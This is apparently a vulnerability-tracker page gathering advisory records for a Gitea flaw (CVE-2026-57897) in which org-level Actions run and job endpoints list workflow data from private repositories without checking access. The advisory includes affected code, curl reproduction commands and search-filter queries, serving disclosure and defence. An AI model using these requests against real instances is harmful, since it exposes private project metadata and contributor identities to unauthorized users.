Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Exploitation and risk
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cve-program · CVE-2026-57897
PublishedCross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
- Source published
- 13 Aug 2026 16:44:45 UTC
- Source modified
- 13 Aug 2026 18:38:41 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
euvd · EUVD-2026-58149
PublishedCross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 13, 2026, 4:44:45 PM
dateUpdated: Aug 13, 2026, 6:38:41 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-2304: Gitea: Mehrere Schwachstellen
CVE-2026-58417 · CVE-2026-58420 · CVE-2026-58425 · CVE-2026-58427 · CVE-2026-58428 · CVE-2026-58429 · CVE-2026-58431 · CVE-2026-58432 · CVE-2026-58433 · CVE-2026-58434 · CVE-2026-58435 · CVE-2026-58436 · CVE-2026-58437 · CVE-2026-58438 · CVE-2026-58439 · CVE-2026-58440 · CVE-2026-58441 · CVE-2026-58442 · CVE-2026-58443 · CVE-2026-58444 · CVE-2026-58445 · CVE-2026-58507 · CVE-2026-58508 · CVE-2026-58510 · CVE-2026-58511 · CVE-2026-59763 · CVE-2026-59765 · CVE-2026-59766 · CVE-2026-23603 · CVE-2026-42931 · CVE-2026-50105 · CVE-2026-54481 · CVE-2026-55982 · CVE-2026-55984 · CVE-2026-55986 · CVE-2026-55987 · CVE-2026-56443 · CVE-2026-56654 · CVE-2026-56657 · CVE-2026-56750 · CVE-2026-56755 · CVE-2026-57886 · CVE-2026-57894 · CVE-2026-57897 · CVE-2026-58314 · CVE-2026-58416
- Source published
- Aug 13, 2026, 4:44:45 PM (timezone not stated)
- Source modified
- Aug 13, 2026, 6:38:41 PM (timezone not stated)
- Saved here
- 19 Nov 2026 17:48:32 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-57897
PublishedCross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-200 · CWE-863
Original publisher date fields
published: 2026-08-13T17:17:26.080
lastModified: 2026-08-26T16:53:48.300
- Source published
- 13 Aug 2026 17:17:26 UTC
- Source modified
- 26 Aug 2026 16:53:48 UTC
- Saved here
- 25 Oct 2026 14:19:16 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-frpw-3h2q-4jj6
Published**Author:** Prakhar Porwal **Date:** 2026-05-24 **Target:** Gitea (self-hosted Git service) **Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3) **Component:** `routers/api/v1/org/action.go` (org-level Actions API) **OWASP:** API3:2023 Broken Object Property Level Authorization --- ## 1. Summary The org-level Actions REST endpoints ``` GET /api/v1/orgs/{org}/actions/runs GET /api/v1/orgs/{org}/actions/jobs ``` are gated only by **`reqOrgMembership()`** + `reqToken()`. They then call `shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` / `shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects **every** `action_run` / `action_run_job` row whose repository belongs to the org — with **no per-repository ACL check**. Result: any user who is a member of an organization can enumerate workflow runs and jobs from **every repository in that org**, including: * private repositories the caller has no team membership for, * repositories where the caller has been explicitly denied the `repo.actions` unit, * repositories created by other teams the caller is not part of. Direct per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`, `…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the same caller — proving the org-level surface is the only path that leaks. --- ## 2. Affected Code ### 2.1 Route registration `routers/api/v1/api.go:1647-1652` ```go addActionsRoutes( m, reqOrgMembership(), // reqReaderCheck reqOrgOwnership(), // reqOwnerCheck org.NewAction(), ) ``` ### 2.2 Helper that registers run/job listing `routers/api/v1/api.go:908-941` ```go m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs) ``` `reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is enough; no per-repo permission is consulted. ### 2.3 Handler `routers/api/v1/org/action.go:595-683` ```go func (Action) ListWorkflowJobs(ctx *context.APIContext) { shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil) } func (Action) ListWorkflowRuns(ctx *context.APIContext) { shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) } ``` ### 2.4 Query construction (no ACL) `routers/api/v1/shared/action.go:138-215` ```go opts := actions_model.FindRunOptions{ OwnerID: ownerID, // ← org ID, NOT user ID RepoID: repoID, // = 0 at org level ListOptions: listOptions, } … runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts) ``` `models/actions/run_list.go:102-110` ```go func (opts FindRunOptions) ToJoins() []db.JoinFunc { if opts.OwnerID > 0 { return []db.JoinFunc{func(sess db.Engine) error { sess.Join("INNER", "repository", "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID) return nil }} } return nil } ``` The join only constrains `repository.owner_id = orgID`. There is no `access`/`team_repo`/`collaboration` join and no `access_model.GetDoerRepoPermission(...)` filter — every row in the org is returned. The same bug applies to `shared.ListJobs`, which calls `db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})` using an analogous repository join. --- ## 3. Steps to Reproduce ### 3.1 Setup * Org **`1st-org`** with one **private** repo `1st-org-repo`. * Team **`Owners`** contains user **`admin`** (org owner). * Team **`1st-team`** has **zero repositories** assigned (units permission `none` for actions, no included repos). * User **`admin2`** is a regular user (`is_admin = false`), member of `1st-team` only — so org member, but **no team grants any access to `1st-org-repo`**. Verified that admin2 lacks direct access: ```bash $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/repos/1st-org/1st-org-repo {"errors":null,"message":"not found","url":"…"}[404] $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/repos [] [200] ``` A workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to produce an `action_run`: ```yaml name: ci on: push jobs: hello: runs-on: ubuntu-latest steps: - run: echo "SECRET_INFO_FROM_PRIVATE_REPO" ``` ### 3.2 Trigger ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/runs ``` **Output (truncated)** ```json {"workflow_runs":[{ "id":7, "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7", "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7", "display_title":"add workflow", "path":"ci.yml@refs/heads/main", "event":"push", "run_attempt":1, "run_number":1, "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", "actor":{"id":1,"login":"admin", … "email":"1+[email protected]", …}, "trigger_actor":{ … "login":"admin" … }, "repository":{ "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo", "description":"test123", "private":true, "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git", "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git", … } }],"total_count":1} [200] ``` Same primitive for jobs: ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/jobs {"jobs":[{ "id":7, "run_id":7, "name":"hello", "labels":["ubuntu-latest"], "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", … }],"total_count":1} [200] ``` ### 3.3 search primitives All query parameters supported by `ListRuns`/`ListJobs` work too — turning the endpoint into a **search oracle** over private workflow metadata: ```bash # Find runs on a specific branch in private repos: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main" # Confirm a given commit SHA exists in any private repo of the org: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…" # Filter by actor: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin" # Filter by event/status: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure" ``` All return matching rows from private repos in the org. --- ## 4. Impact A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org: | Field leaked | Why it matters | |-------------------------------|------------------------------------------------------| | `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos | | `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos | | `path` (workflow file) | Reveals workflow YAML filenames | | `event`, `display_title` | Commit messages / event types | | `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails | | `created_at`, `started_at` | Activity timing / CI cadence | | Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history | Real-world consequences: 1. **Org reconnaissance** — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules. 2. **Insider-threat amplification** — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history. 3. **Cross-team violation** — when an org isolates internal projects via teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses that boundary. 4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA). The same primitive is exposed regardless of token scope, as long as the token has `organization` scope, the user is an org member, and the org has any private repos with action runs. ---
- Source published
- 21 Jul 2026 21:52:02 UTC
- Source modified
- 22 Jul 2026 21:11:45 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Publisher rating · MODERATE
osv · GO-2026-6054
PublishedGitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs in gitea.dev
- Source published
- 22 Jul 2026 20:36:35 UTC
- Source modified
- 22 Jul 2026 21:00:26 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.